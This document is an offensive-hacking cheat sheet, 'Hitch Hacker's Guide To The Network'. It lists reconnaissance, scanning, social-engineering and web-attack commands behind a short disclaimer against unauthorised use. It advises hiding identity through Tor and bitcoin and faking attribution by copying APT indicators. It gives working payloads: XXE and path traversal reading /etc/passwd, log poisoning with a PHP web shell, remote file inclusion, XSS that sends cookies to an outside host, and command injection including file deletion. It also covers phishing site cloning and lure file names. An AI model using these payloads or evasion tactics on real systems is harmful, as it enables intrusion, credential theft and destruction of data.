Hitch Hacker's Guide To The Network

User Manual:

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HITCH-HACKER

’

S GUIDE TO THE

NETWORK

Ian the BitThirsty Hunter

By opening this book you agree that you

will not use this knowledge on any system

you do not own or do not have express

permission to test / troubleshoot / hack

into.

With great power comes great responsibility –Stan Lee

Last update: 26 April 2019

2 
 
Contents 
Precautions ................................................................................................................................................... 4 
Passive Recon ................................................................................................................................................ 5 
Active Recon
 ................................................................................................................................................ 7 
Open Source Intelligence (Maltego) ............................................................................................................. 8 
Social Engineering ....................................................................................................................................... 10 
Fingerprinting / Scanning
 .......................................................................................................................... 11 
Scanning: Nmap / MetaSploit Integration
 ............................................................................................... 14 
Sniffing (While you scan)
 .......................................................................................................................... 15 
Web Application Attacks
 ........................................................................................................................... 16 
Serialize Exploits
 ........................................................................................................................................ 23 
Database Injection Attacks
 ....................................................................................................................... 26 
Enumeration
 .............................................................................................................................................. 30 
Password Searching
 ................................................................................................................................... 33 
Password Cracking/Guessing
 .................................................................................................................... 35 
Pass the Hash
 ............................................................................................................................................. 39 
Encryption Exploitation
 ............................................................................................................................. 40 
CCTV Systems
 ............................................................................................................................................. 41 
Privilege Escalation
 .................................................................................................................................... 46 
Gaining An Initial Foothold ......................................................................................................................... 50 
Port Forwarding / Proxies / Tunneling
 ..................................................................................................... 52 
Metasploit
 .................................................................................................................................................. 54 
PowerShell Empire
 .................................................................................................................................... 57 
PowerShell: Nishang
 .................................................................................................................................. 61 
Payload Generation/AV Bypass
 ................................................................................................................ 62 
Post Exploitation
 ........................................................................................................................................ 65 
Linux Essentials
 .......................................................................................................................................... 67 
Linux Scripting
 ............................................................................................................................................ 72 
Python Essentials
 ....................................................................................................................................... 74 
Windows Essentials
 ................................................................................................................................... 76 
PowerShell Essentials
 ................................................................................................................................ 78 
Android Essentials
 ..................................................................................................................................... 80 
Ports
 ............................................................................................................................................................ 81 

Training: Certs, Links, & Books

................................................................................................................. 84

Hacker Toys

................................................................................................................................................ 85

CryptoNotes

............................................................................................................................................... 86

4 
 
Precautions 
 
Precautions
 
 
 
Encrypt your hard drive 
Use a virtual machine with all traffic routed through Tor projects like Whonix, Tails, 
Qubes TorVM, etc. Here
’
s a comparison link. 
Connect to a VPN or bridge node first before connecting to Tor.  
Use anonymous payment like bitcoin for cloud servers. Cloud services in different 
countries have different types of laws and are more likely to attract pen testers. 
 
macchanger 
–
A eth0  :change your MAC address 
 
 
Attribution
 
 
 
Change servers, domain names, emails, etc 
Use tools publicly available 
Use indicators of APTs in your code to emulate attribution: 
Kiran Blanda maintains a GitHub repository with copies of public threat intelligence 
reports 
Companies can pay for intel reports from Kaspersky and CrowdStrike 
 
 
Cloud Hosting Solutions (First piece of Misattribution)
 
 
 
DigitalOcean :choose US, Germany, Singapore, England, Netherlands, India, Canada 
Virtuzo    :Worldwide servers 
Huawei    :(use Google Translate), popular Chinese audio streaming service 
(Netease cloud music) uses this 
Baehost    :Argentina cheap cloud hosting 
ovh.com    :France cheap cloud hosting 
esecuredata.com :Canadian cheap cloud hosting 
webhuset.no   :Norwegian cheap cloud hosting   

Passive Recon

Google Hacking

site: [url] :search only one url

site:Microsoft.com

–

site:www.microsoft.com :ex showing subdomains

numrange:[#]

…

[#] :search within a number range

date:[#] :search within past [#] months

link: [url] :find pages that link to url

related: [url] :find pages related to url

intitle: [string] :find pages with [string] in title

intitle:

”

netbotz appliance

”

“

–

filetype:pdf :example showing appliances on the net

inurl: [string] :find pages with [string] in url

inurl:

”

level/15/exec/-/show

”

:ex showing open cisco routers

filetype: [xls] :find files that are xls

phonebook: [name] :find phone book listings of [name]

Reconnaissance Against Sites

https://www.exploit-db.com/google-hacking-database/ :Google Hacking Database

https://www.shodan.io/ :Google equivalent for security

www.netcraft.com/ :indirect recon against web servers

whois <domain> :basic info including owner

whois <ip> :basic info including owner

Subdomain Enumeration

wget www.cisco.com :download cisco index page

grep

“

href=

”

index.html | cut

–

“

”

–

f 3 | grep

“

”

| cut

–

‘”’

–

f 1 | sort

–

:ex of cutting subdomains out of index

for url in $(cat list.txt); do host $url; done|grep

“

has address

”

| cut

–

“

–

f 4 |

sort

–

u :get ips for subdomain list

Email Harvesting (Find emails and possibly usernames for an organization)

theharvester

–

d cisco

–

b google > google.txt :harvest through Google

theharvester

–

d cisco.com

–

l 10

–

b bing > bing.txt :harvest through Bing

Leaked / Compromised Web Search

DLPDiggity :search for leaked SSN, PII, etc

SearchDiggity :search for website exploiting browsers

MetaData Harvesting: ExifTool

exiftool [filename] :extract metadata like usernames, etc

MetaData Harvesting: Strings

wget

–

R htm, html, asp, aspx, cgi

–

P /tmp/metadata [targetdomain] :pull website

strings /tmp/* | grep

–

i firewall :search md for

“

firewall

”

string

strings /tmp/* | grep

–

i password :search md for

“

password

”

string

other search strings: authentication, security, finance, e-mail, <people

’

s names>

Pull Websites Offline

wget

–

R htm, html, asp, aspx, cgi

–

P /tmp/metadata [targetdomain] :linux

(New-Object System.Net.WebClient).DownloadFile(http://site,c:\site.html

”

); gc

c:\site.html :Powershell-pull single site down

Online Tools

Shodan :most known security search engine

DNS Dumpster :domain research tool

NerdyData :searches known snips of code

Carrot2 :keyword search visualization

2lingual :very helpful for international jobs

Maltego :commercial tool but highly effective

Active Recon

DNS Enumeration

host

–

t ns megacorpone.com :enum DNS servers

host

–

t mx megacorpone.com :enum mail servers

host

–

l <domain name> <dns server address> :host cmd for zone transfer

ex: host

–

l megacorpone.com ns1.megacorpone.com

dnsrecon

–

d megacorpone.com

–

t axfr :automated zone xfer tool

dnsenum zonetransfer.me :another automated zone xfer tool

nslookup <enter> >set type= any >ls

–

d <target> :dns zone xfer request

dig @<server> <domain> -t AXFR :dig sometimes works when nslookup wont

IP Address Info

nmap --script=asn-query,whois,ip-geolocation-maxmind 192.168.1.0/24

Robots.txt Scan

Nmap

–

script=http-robots.txt.nse <ip> -p 80,443

Recon-ng

recon-ng :start recon-ng

show options :show variables

show modules :contacts, credentials, domains, etc

search resolve :search modules that would resolve names

use recon/domains-contacts/whois_pocs :employee names & emails plugin

use recon/domains-vulnerabilities/xssed :existing XSS vulns

use recon/domains-hosts/google_site_web :search additional subdomains

use recon/hosts-hosts/ip_neighbor :discover neighboring IP addresses

show info :view module description

set SOURCE cisco.com :set a specific source

add netblocks 10.10.10.0/24 :specify a range of ips

run :last command to run

show hosts :view after running against ip range

Open Source Intelligence (Maltego)

Maltego

Interactive Data Mining tool

**Attribution evasion with once exception (see next)

Anonymity: Important note is that in most cases information is downloaded to the

Maltego server, then to your local client

–

meaning the external entity will see

Maltego servers querying you not your external facing ip. However, this does not apply

to downloading images

–

it goes directly to your. There are two options. First option

is to set up a proxy. Second option is to turn off auto-downloading images under

Settings / Miscellaneous.

Maltego Transforms Worth Noting

ThreatGrid :tie your Cisco products together

Shodan :

Social Links Facial Recognition :paid subscription, free ver has darkweb

External Recon (Infrastructure) / Footprinting (Full walkthrough, not all steps apply to situations)

Short Version

Create domain entity (i.e. army.mil)

On left hand side click Machines

Footprint L1 :Only down the path once

–

fast and simple

Footprint L2 :L1 plus Shared NS/MX and Shared websites

Footprint L3 :L2 plus reverse on netblocks, domains from reverse DNS, builtwith

Footprint XXL :lots of false positives needs a lot of result tuning

Find Wiki Edits :Look for Wiki edits from their ip ranges (if they didn

’

t sign in)

Company Stalker :email addresses from a domain, social networks, and metadata

How to Create Your own Machine Macro with additional transforms

Long Version

Enumerate External Infrastructure

Create domain entity (i.e. army.mil)

Transform / Paterva CT / DNS from Domain (the whole group of 9)

Transform / Paterva CT / Resolve to IP (the whole group)

Transform / All Transforms (no group) / To NetBlock [natural boundary]

-it is not in a group because you only want to use 1, not all 3

Transform / All Transforms / To AS number

Transform / All Transforms / To Company [Owner]

–

may need to select by type 1

Then go back up in Reverse to find related info

Select by Type [AS] / To Netblocks in this AS

Select by Type [Netblock] / To DNS Names in Netblock [Reverse DNS]

Shared Infrastructure

Select by Type [MX records] / To Domains (Sharing this MX)

Select by Type [NS records] / To Domains (Sharing this NS)

Select by Type [DNS] / To Domain

All In-House Strategy (large companies)

Shared MX for more domains

Shared NS for more domains

Hosts multiple web servers on single host

Look for patterns in configuration (mx1,mx2)

Cyclical footprinting process

Hybrid Strategy (company controls some internally, outsource some)

Look at shared infrastructure they control (MX, NS, SOA, SPF, Websits, DNS)

Validate you are still in targets infrastructure:

Validate domains

–

whois

Validate ips

–

whois, reverse DNS

Outsourced Strategy

Shared infrastructure on MS/NS is out

Almost nothing points to IPs in real network

Search at internet registry (ARIN/RIPE/APNIC/etc), usually in whois

Reverse DNS

Search IP on Internet via search engine

Wikipedia entries (Wikipedia transforms)

Personal Strategy

No infrastructure to enumerate

Email to individual with clickable link, embedded image

Legal route

–

subpoena for ISP

External Recon

–

Service Enumeration

Enumerate other sites

Create domain entity (i.e. army.mil)

Transform / Paterva CTAS / DNS From Domain / To Website Using Domain [Bing]

Transform / All Transforms / To Tracking Codes

Transform / All Transforms / To Other Sites with Same Code

Service Enumeration (continued)

Investigate Tab / Select by Type / Website

Transform / Paterva CTAS / All / To Server Technologies [Using BuiltWith]

Look for unpatched, exploitable services

*alternatively, you can go to https://builtwith.com and use outside maltego

**Maltego Teeth allows integration with the MetaSploit Database

External Recon

–

Attribution

Enumerate Attribution from File MetaData (possible user names, social engineering

targets, etc)

Create domain entity (i.e. army.mil)

Transform / Paterva CTAS / Files and Documents from Domain (group of 2)

Transform / Paterva CTAS / Parse Meta Information

Figure Out Email for Company

Email Addresses From Domain (group of 3)

To DNS Name

–

MX (mail servers)

To Domain (convert)

Email Addresses From Domain (group of 3)

If you still aren

’

t finding anything, google contact

“

company

”

, look for domain name

they use then run Email Addresses from Domain

Spear phish based on that information

Add entity - Type Personal / Person

Autopopulate name based on naming convention from previous step

All Transforms / Verify Email Address Exists

Pivot for Other Emails based on company emails

To Email Addresses [PGP]

Reverse Picture search

Type in someones number on WhatsApp, then do reverse picture search

Twitter Geographic Search

Convert an address to GPS coordinates online, i.e. https://www.latlong.net/convert-

address-to-lat-long.html

Transforms / Paterva CTAS / To Circular Area

Then To Tweets From Circular Area

To Twitter Affiliation [Convert]

Social Engineering

People search

site: [url] vip :

site: [url] president :

site: [url] contact :

Social Networking Recon

LinkedIn :usually greatest source of info

Facebook :find out what they ate for lunch

Twitter, Google+, Pinterest, Myspace, Orkut

What to Name Files with Payloads Inside (E-mail, leave USBs around, etc)

*renaming .pif hides windows extensions and makes it executable but shows like the

first file extension

Bonus_Plan :

Layoff_Plan :

Best Pics :

Exploiting Through Social Engineering

cd /pentest/exploits/set :social engineering toolkit

./set

2 :website attack vectors

3 :credential harvester method

2 :site cloner

https://www.facebook.com/login.php :clone fb, listens on port 80

alternatively you could do

cd ./set

python

–

m SimpleHTTPServe :starts server to serve payloads

Fingerprinting / Scanning

Passive Fingerprinting

p0f -i eth0 -p -o /tmp/p0f.log

fl0p

Sniff While Scanning (Can be helpful)

tcpdump

–

nn host <ip> :sniff a particular ip

nmap

–

sT <ip> :shows 3 way handshake in tcpdump

Nmap Probe/Sweeps (quicker, less results)

nmap

–

PB <ip> :ICMP ER, SYN-443,ACK-80;ICMP TSR

nmap

–

sP <ip> :ICMP ping sweep (many fws block)

nmap

–

PS[portlist] <ip> :TCP ACK ping;i.e.

–

PS80

nmap

–

sn <ip> :ping sweep

nmap

–

PA <ip> :TCP Syn ping

nmap

–

PP <ip> :ICMP timestamp request (type 13)

nmap

–

PM <ip> :ICMP address mask request (type 17)

nmap

–

PR <ip> :ARP discovery-only works on same subnet

Nmap Scans

Nmap

–

Pn :turns off ping before scan-use often

nmap

–

P0 <target_ip> :detailed info

nmap

–

F <ip> :Fast scan

–

top 100 ports

nmap

–

p 80 <ip> :scan single port

nmap

–

sA <ip> :TCP ACK Scan

nmap

–

sF <ip> :FIN Scan (set FIN bit of all packets)

nmap

–

sS <ip> :stealth scan (half open, not stealthy)

nmap

–

sT <ip> :TCP Connect Scan

nmap

–

p 53,111,414,500-501<ip> :UDP Scan (specified ports)

nmap

–

sW <ip> :TCP Windows scan

nmap <ip>

–

-script=<all,category,dir,script> :Nmap Scripting Engine

nmap <ip> --script smb-os-discovery.nse :nmap NSE example

grep safe /opt/nmap-6.4.7/share/nmap/scripts/script.db :search for safe NSE scripts

nmap <ip>

–

-iflist :show host interfaces & routes

nmap <ip>

–

-reason :shows you why it gave you what it did

<spacebar> :estimate progress during scan

Nmap OS Fingerprinting (most bandwidth intensive scan)

nmap

–

O <ip> :OS scan

nmap

–

A <ip> :detect OS & services

nmap

–

sV <ip> :standard service detection

Nmap Fuzzing Scans

nmap

–

sM <ip> :TCP Maimon scan (set FIN & ACK bits)

nmap

–

sX :Xmas Tree Scan (FIN, PSH, URG bits)

nmap

–

sN :null scan (set all control bits to 0)

nmap

–

s0 <ip> :Scan IP protocols(TCP,ICMP,IGMP,etc.)

Nmap Output Options

nmap

–

oA outputfile :save grep, xml, and normal format

nmap

–

oX outputfile.xml <ip> :save xml file

nmap

–

oG outputfile.txt <ip> :save grep format file

Nmap Firewall Scans

nmap

–

-badsum :RESET from good and bad checksum means firewall

nmap

–

sN <ip> :TCP Null scan to fool fw to generate response(TCP flag header 0)

nmap

–

sF <ip> :TCP Fin scan to check firewall (TCP FIN bit)

nmap

–

sX <ip> :Xmas Scan (FIN, PSH, URG flags)

nmap

–

f <ip> :-f causes scan (including ping) to use fragmented packets

nmap

–

D<ip>,ip2 :-D makes it look like decoys are scanning also

nmap

–

-spoof-mac 0 <ip>:0 chooses a random MAC to spoof

TCP Idle Scan (scan stealthily by spoofing ip address of another host on network)

msfconsole :start metasploit

use auxiliary/scanner/ip/ipidseq :look for idle computers

show options :show parameters

set RHOSTS <ips>; set THREADS 10 :set parameters

run

*We get a list of potential idle hosts to use as our target; pick one

nmap

–

sI <idle_ip> <target_ips> :launch TCP Idle Scan

MetaSploit Port Scans

msfconsole :start MetaSploit

search portscan :search for portscans

use auxiliary/scanner/portscan/syn :select a particular portscan

SQL Scan

*Saves a ton of time because UDP 1434 is what you query to discover dynamic SQL ports

(i.e. if they changed it from the non-standard TCP 1433)

msfconsole :open metasploit

use auxiliary/scanner/mssql/mssql_ping :scanner for SQL

show options :show parameters

set RHOSTS <ip>; set THREADS 10 :set parameters

run :run

SSH Scan

*FTP often easily exploitable

msfconsole :open metasploit

use auxiliary/scanner/ssh/ssh_version :scanner for SSH version

show options :show parameters

set RHOSTS <ip>; set THREADS 10 :set parameters

run :run

nmap

–

script=sshv1.nse <ip> -p 22 :check for SSHv1 (weak)

FTP Scan

*older SSH versions have easily exploitable vulnerabilities

msfconsole :open metasploit

use auxiliary/scanner/ftp/ftp_version :scanner for FTP version

show options :show parameters

set RHOSTS <ip>; set THREADS 10 :set parameters

run :run

SNMP Sweep

*SNMPv1 and v2 very flawed, v3 much more secure

msfconsole :open metasploit

use auxiliary/scanner/snmp/snmp_login :scanner for SNMP version

show options :show parameters

set RHOSTS <ip>; set THREADS 10 :set parameters

run :run

RDP (Windows) - Loud

rdesktop

–

u guest <target_ip> :guest often authenticates

Netcat Port Scans

–

w1 <ip> 20-80 :netcat port scan

echo

“”

|nc

–

w1 <ip> <port-range> :port scanner which harvests banners

Windows Command Line Ping Sweep

For /L %i in (1,1,255) do @ping

–

n 1 10.0.0.%i | find

“

TTL

”

:TTL shows successful

Powershell Scans

1.255 | % {ping

–

n 1

–

w 100 10.10.10.$_ | select-string ttl} :Ping sweep

1..1024 | % {echo ((new-object Net.Sockets.TcpClient) .Connect("10.0.0.1",$_)) "Port $_

is open" } 2>$null :Port Scan

Fast Scan Tools (for big blocks of ips)

ScanRand :one program sends SYNs; one receives

Zmap :scans all of IPPv4 for one port

MassScan :utilizes threading

Response Meanings

RST + ACK (TCP) :likely port closed or firewall blocking

ICMP Port Unreachable (TCP) :most likely blocked by firewall

ICMP Port Unreachable (UDP) :most likely port is closed

No response (TCP) :most likely nothing listening on system

No response (UDP) :could be port closed,firewall,ignored?

Scanning: Nmap / MetaSploit Integration

Nmap & MetaSploit

msfconsole :start metasploit

dbstatus :verify metasploit is connected to db

db_nmap

–

A <ips> :populate db with scan

db_nmap

–

O <ip> :populate db with OS Scan

db_import /tmp/file.xml :import nmap scan file

db_import /tmp/file.nessus :import nessus vulnerability scan

exit :

MetaSploit Database Querying

hosts :show discovered hosts

hosts

–

add <ip> :manually add host

hosts

–

S linux :show linux hosts

services :show discovered services

services

–

add

–

p 80 <ip> :manually add services for hosts

vulns :show vulnerabilities discovered

vulns

–

S RPC :show RPC vulnerable hosts

vulns

–

p 445 :show vulnerable smb hosts

MSFMap Meterpreter Module (Scan from Compromised Host)

exploit :exploit meterpreter shell

load msfmap :load module into meterpreter

msfmap

–

sP :ping sweep

msfmap

–

sT :TCP Connect scan

msfmap

–

-top-ports :same as nmap

Sniffing (While you scan)

WinDump (Windows)

Tcpdump ported to Windows

WireShark

At the startup, click the capture interface you want to monitor. You can add a capture

filter such as host <ip> and tcp port 4444 to filter out unwanted traffic. In Kali

click Capture / Interfaces, then click options and you can set a filter. In Windows

’

s right there on the main page.

tcpdump (Linux)

tcpdump

–

n :use #s instead of names for machines

tcpdump

–

i [int] :sniff interface (-D lists ints)

tcpdump

–

v :verbose (IP ID, TTL, IP options, etc)

tcpdump

–

w :Dump packets to file (-r to read)

tcpdump

–

x :print hex

tcpdump

–

X :print hex & ASCII

tcpdump

–

A :print ASCII

tcpdump

–

s [snaplength] :older vs:

–

s 0 to capture whole packet

tcpdump <ether,ip,ip6,arp,rarp,tcp,upd> :capture certain protocol traffic

tcpdump host <host> :only give packets from that host

tcpdump net <network> :

tcpdump port <port> :

tcpdump portrange <range> :

port src :only from that host or port

port dst :only from that destination

tcpdump Examples

tcpdump

–

nnX tcp and dst <ip> :view tcp packets with ASCII & hex

tcpdump

–

nn tcp and port 445 and host <ip> :view TCP p445 going to or from <ip>

tcpdump

–

s0 port 445

–

w /tmp/winauth.pcap :-s0 means full packets, -w dumps 2 file

Sniff Authentication Sessions

Pcap Strings Search

ngrep

–

I /pcaps/sample.pcap

“

SEARCHPHRASE

”

:-q only headers & payload

ngrep

–

I /pcaps/sample.pcap

“

HTTP/1.0

”

:should see 1.1&2.0; 1.0 often malware

strings /pcaps/sample.pcap | grep GET :alternate search

tshark

–

nr /sample.pcap

–

“

http.request.method==GET

”

:alternate search

Web Application Attacks

Fingerprinting the Web Server

telnet <ip> <port> :telnet to the server

GET /HTTP/1.1 :retrieve header info

Host: putanyvalue :

Browse site, look for upload/download, authentication forms, admin section, data entry

F12, read source code

Actions Mapped to URLs, for example Ruby on Rails:

/objects/ will give you a list of all the objects;

/objects/new will give you the page to create a new object;

/objects/12 will give you the object with the id 12;

/objects/12/edit will give you the page to modify the object with the id 12;

404/500 errors can also show info

Robots.txt Exclusions (Heavily used with PHP)

Nmap

–

-script=http-robots.txt.nse <ip> -p 80 :shows robots.txt exclusions

Joomla robots.txt: www.example.com/robots.txt

Web Server Scanners

Sparta

Noisy but several tools built in

Nikto

./nikto.pl

–

h <ip> -p <ports> -output <file> :www.cirt.net;free; can be Nessus plugin

wikto (port of Nikto to Windows in .NET) :www.sensepost.com

Burpe

Commercial tool, only a couple hundred a year, well worth it for pen testers

Wfuzz

python wfuzz.py -c -z file,wordlist/general/common.txt --hc 404 http://site/FUZZ

Email Banner Grabbing / Login with netcat

–

nv <ip> 25 ;HELP :netcat connect to mail server,see help

–

nv <ip> 110 ;USER bob;PASS bob :netcat connect to mail server over 110

–

nv <ip> 143 ;USER bob; PASS bob :netcat connect to mail server over 143

XML Attacks (xPath Example)

Good to start with, common in web apps

Original: http://ip/dir/page.php?xml=<test>default</test>

Modify to: http://ip/dir/page.php?xml=<!DOCTYPE test [ <!ENTITY x SYSTEM

"file:///etc/passwd">]><test>%26x;</test>

*can use ftp or http

XPath Example

http://ip/dir/page.php?name=default

’

:inserting

‘

shows xPath used

http://ip/dir/page.php?name=default' and '1'='1 :should get the same result

http://ip/dir/page.php?name=default' or '1'='0 :should get the same result

http://ip/dir/page.php?name=default' and '1'='0 :should not get any result

http://ip/dir/page.php?name=default' or '1'='1 :should get all rslts needs more

http://ip/dir/page.php?name=default' or 1=1]%00 :needs proper enclosing, this work

http://ip/dir/page.php?name=default'%20or%201=1]/parent::*/child::node()%00 :go up node

hierarchy

Directory Traversal

Commands to test if susceptible to traversal (assume photo.jpg on the site)

/images/./photo.jpg: you should see the same file

/images/../photo.jpg: you should get an error

/images/../images/photo.jpg: you should see the same file again

/images/../IMAGES/photo.jpg: you should get an error (depending on the file system) or

something

*note that on Windows /images/ folder will work even if it doesn

’

t exist but this will

not work on Linux web servers. Try reading the html source code to find.

Test to Retrieve /etc/passwd

images/../../../../../../../../../../../etc/passwd :don

’

t need to know amount of ../s

http://domain.com/folder/page.php?file=/var/www/files/../../../../../../../etc/passwd

Server Side Code Adds Suffix, Use Null Bytes to Bypass

http://domain.com/folder/page.php?file=/var/www/files/../../../../../../../../../../etc

/passwd%00%00%00%00%00%00%00%00%00%00 :wont work after PHP 5.3.4

Script to retrieve etc/passwd using linux commands or windows bash

% wget -O - 'http://server/directories/page.php?file=../../../../../../../etc/passwd'

[...]

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

[...]

File Inclusion

Local File Inclusion

http://ip/dir/page.php?page=intro.php

’

:adding

‘

can test for file inclusion,

sometimes can give you directory on server to test for directory traversal

http://ip/dir/page.php?page=../../../../../../../etc/shadow :in include() example

http://ip/dir/page.php?page=/var/www/fileincl/../../../../../../../../../../etc/passwd%

00%00%00%00%00%00%00%00%00%00 :remove suffix added by server, php 5.3.4-

Remote File Inclusion

http://ip/dir/page.php.php?page=https://assets.pentesterlab.com/test_include.txt

:shows php info

http://ip/dir/page.php?page=?page=https://assets.pentesterlab.com/test_include.txt%00%0

0%00%00%00%00%00%00%00%00 :remove suffix added by server, php 5.3.4-

Contaminating Log Files

nc –nv 192.168.11.35 80 :netcat to victim web server

<?php echo shell_exec($_GET[‘cmd’]);?> :ends up writing to our access.log

Executing Code with Local File Inclusion Vulnerability

*execute our contaminated log file

http://192.168.11.35/addguestbook.php?name=a&comment=b&cmd=ipconfig&LANG=../../../../..

/../../xampp/apache/logs/access.log%00

Remote File Inclusion Vulnerability

http://192.168.11.35/addguestbook.php?name=a&comment=b&LANG=http://192.168.10.5/evl.txt

:In this case the language variable was not set

–

nlvp 80 :nc listener on 10.5 box

XSS Attacks

Check to see if susceptible to XSS

Example: change the url extension example.php?name=default value to

example.php?name=<script>alert(1)</script>

PutSomething<script>Here :see if <script> pops up

Check to see if basic filtering can be bypassed (if above doesn

’

t work)

<sCript>alert(test);</sCript> :change to example.php?name=<sCript>alert(1)</sCript>

example.php?name=<sC<script>ript>alert(1)</sCr</script>ipt>

PutSomething<script>Here :see if <script> pops up

<a onmouseover="alert(document.cookie)">xxs link</a> :onmouseover,

onmouseout,onmousemove,onclick

<plaintext/onmouseover=prompt(1)> :prompt/confirm alternative to alert

<plaintext/onmouseover=confirm(1)> :prompt/confirm alternative to alert

<A HREF="http://66.102.7.147/">XSS</A> :ip vs hostname

<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A> :URL Encoding

<A HREF="http://1113982867/">XSS</A> :Dword encoding

<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> :Hex encoding

<A HREF="h :break on purpose

tt p://6 6.000146.0x7.147/">XSS</A> :Mixed encoding

<IMG SRC=# onmouseover="alert('xxs')"> :bypass most source domain filters

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> :if no quotes allowed

<IMG onmouseover="alert('xxs')"> :leave src out if filtering

<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img> :on error alert

<DIV onmouseover="alert(document.cookie)">xxs link</div> : onmouseout, onclick

Bypass Word Exclusions

*Note great converter & script

Javascript Insertion

F12, in this example <script>var $a=

”

value

”

;</script> :inserted next command

";alert(1);var%20$dummy%20=%20"

F12, in this example <script>var $a=

’

value

’

;</script> :similar to last, in this example

server is html encoding turning quotes into &quot (viewable in source/F12 in example)

‘

;alert(1);var%20$dummy%20=%20

’

PHP_SELF (Not using htmlspecialchars)

page.php/%22%3E%3Cscript%3Ealert('hacked')%3C/script%3E :Pages using PHP_SELF can

be susceptible to XSS

DOM Based (Client Side XSS)

page.html?default=<script>alert(document.cookie)</script> :example 1

page.php#hacker=<script>alert(document.cookie)</script> :example 2

http://www.some.site/somefile.pdf#somename=javascript:attackers_script_here :i.e. 3

example is php page using document.write w/ URL ending in page.html?default=French

example mounts the same attack without it being seen by the server (which will

simply see a request for page.html without any URL parameters

example finds a PDF link on the site, victim using unpatched adobe is vulnerable

Example XSS Sending Cookie From Web Server to Requestb.in

https://site.com/index.php?name=hacker<script>document.write('<img

src%3d"https://requestb.in/1kfl3q01?c%3d'%2bdocument.cookie%2b'" >');</script>

XSS Tools

BeEF :software, defacement, metasploit, shell

Jikto :XSS to attack internal systems

http://www.owasp.org-search XSS Filter Evasion:XSS Encoding / Filter Evasion

www.xssed.com :XSS Encoding / Filter Evasion

Code Injection

Check to see if susceptible to Code Injection (PHP Example)

Try inserting a single quote at the end

/* random value */

injecting a simple concatenation "."

"."te"."st"." instead of test

Compare not using PHP sleep function, and using sleep(0) or sleep(5)

Concatenate commands on Input Defined Ping Example

Try inserting directly into the input box or the url

127.0.0.1 ; cat /etc/passwd

Examples (PHP)

page.php?name=default

’

:inserting a single quote could give info

page.php?name=default"." :should return error giving us info

page.php?name=default"./*inserteddata*/" :should show regular page if working

page.php?name=default".system('uname -a'); $dummy=" :example php code inj

page.php?name=default

".system('uname -a');%23 :(%23=#), same as above

page.php?name=default

".system('uname -a');// :same as above, may need to

convert ;=%3B

Examples (Perl)

*note page doesn

’

t automatically show cgi-bin, have to look in source

page/cgi-bin/hello?name=default

’

.system(

‘

uname

–

’

);%23

Examples (PHP with SQL)

Test various breaks to see what works on example: .php?order=id

.php?order=id;}// :test methods, may not work exactly

.php?order=id);}// :get warning, may be right

.php?order=id));}// :in this case unexpected ) – just take out

.php?order=id);}system('uname%20-a');// :in example we get successful execution

PCRE_REPLACE_EVAL Example (/e) - PHP

*Deprecated as of PHP 5.5.0, causes to evaluate new code as PHP code before substitution

http://ip/dir/page.php?new=hacker&pattern=/lamer/&base=Hello :original link

http://ip/dir/page.php?new=hacker&pattern=/lamer/e&base=Hello :/e gives error

http://ip/dir/page.php?new=system('uname%20-a')&pattern=/lamer/e&base=Hello

:gives us code execution

PHP: Using Assert Function To Gain Code Execution Example

page.php?name=default” :

test inserting ‘ and “ to see if errors

page.php?name=default’ :receive assert error

page.php?name=default’.’ :error messages disappears when adding ‘.’

Page.php?name=default

'.phpinfo().'

Command Injection

Check if susceptible to Command Injection (PHP Example code using system command in

server side script)

page.php?ip=127.0.0.1 :default page

page.php?ip=127.0.0.1’ls’ :inj cmd inside backticks

page.php?ip=127.0.0.1|cat /etc/passwd/ :redirect result from 1

into 2

page.php?ip=127.0.0.1%26%26cat%20/etc/passwd :%26%26= && encoded

Add encoded new line to bypass some filters (used in multiline)

page.php?ip=127.0.0.1

%0als :

%0a = encoded new line

Use PHP function header if value doesn’t match security constraint

telnet vulnerable 80

GET /dir/page.php?ip=127.0.0.1|uname+-a HTTP/1.0

Using netcat: echo "GET /dir/page.php?ip=127.0.0.1|uname+-a HTTP/1.0\r\n" | nc vuln 80

echo -e "GET /dir/example3.php?ip=127.0.0.1%26%26ls HTTP/1.1\r\nHost:

192.168.79.162\r\nConnection: close\r\n" | nc 192.168.79.162 80

Ruby on Rails Eval Function Example

“ :break out of string to see errors

“+’COMMAND’+” :remember URL encode + to %2B

?username="%2B`[/usr/local/bin/score%20697532c5-0815-4188-a912-c65ad2307d28]`%2B"

Python Application Command Injection – Example with system access loaded already

page/dir/default"%2bstr(True)%2b"test :Ensure Python by app-str() and True

page/dir/default"%2bstr(os.system('id'))%2b"test :test code execution

page/dir/default"%2bstr(os.popen('id').read())%2b"test :gives more info – replace id w/cmd

Python Application Command Injection – system access NOT loaded already

page/dir/default"%2bstr(True)%2b"test :Ensure Python by app-str() and True

page/dir/default"%2bstr(os.system('id'))%2b"test :test code execution; doesn’t exe properly

page/dir/default"%2bstr(__import__('os').system('CMD'))%2b"test :import cmds

page/dir/default"%2bstr(__import__('os').system('rm –rf /critPath'))%2b"test :delete

Python Application Command Injection – “/” prevented so use base 64 encoding

page/dir/default"%2bstr(True)%2b"test :Ensure Python by app-str() and True

page/dir/default"%2bstr(os.system('id'))%2b"test :test code execution; doesn’t exe properly

page/dir/default"%2bstr(__import__('os').system(

__import__('base64').b64decode('aWQ=')))%2b"test :

LDAP Attacks (PHP Example)

Using two null values to authenticate (even if not LDAP based)

Change default page: http://ip/dir/page.php?username=user&password=pass

Change to: http://ip/dir/page.php

Filter Injection to Bypass Auth

–

PHP Example

username=hacker&password=hacker we get authenticated (default)

username=hack*&password=hacker we get authenticated (wildcard on user work)

username=hacker&password=hac* we don't get authenticated (wildcard on pass doesn

’

:deduce password is probably hashed

http://ip/dir/page.php?name=hacker)(cn=*))%00&password=rtrtrtr

http://ip/dir/page.php?name=a*)(cn=*))%00&password=rtrtrtr

The end of the current filter using hacker)

An always-true condition ((cn=*)

A ) to keep a valid syntax and close the first )

A NULL BYTE (%00) to get rid of the end of the filter

nmap script to search LDAP: nmap -p 389 --script ldap-search <ip>

File Upload Attack (PHP Example)

Include Function with No Filter Example

Upload script named test.php

http://ip/dir/page.php?cmd=cat%20/etc/passwd

Bypass Filtering for File Upload

Try uploading with extension .php3 or .php4 or .php5

Try uploading with extension .php.blah :if doesn

’

t recognize .blah tries .php

Upload .htaccess file to enable extensions

Iceweasel Add-ons

Cookies Manager+ :allows for cookie modification

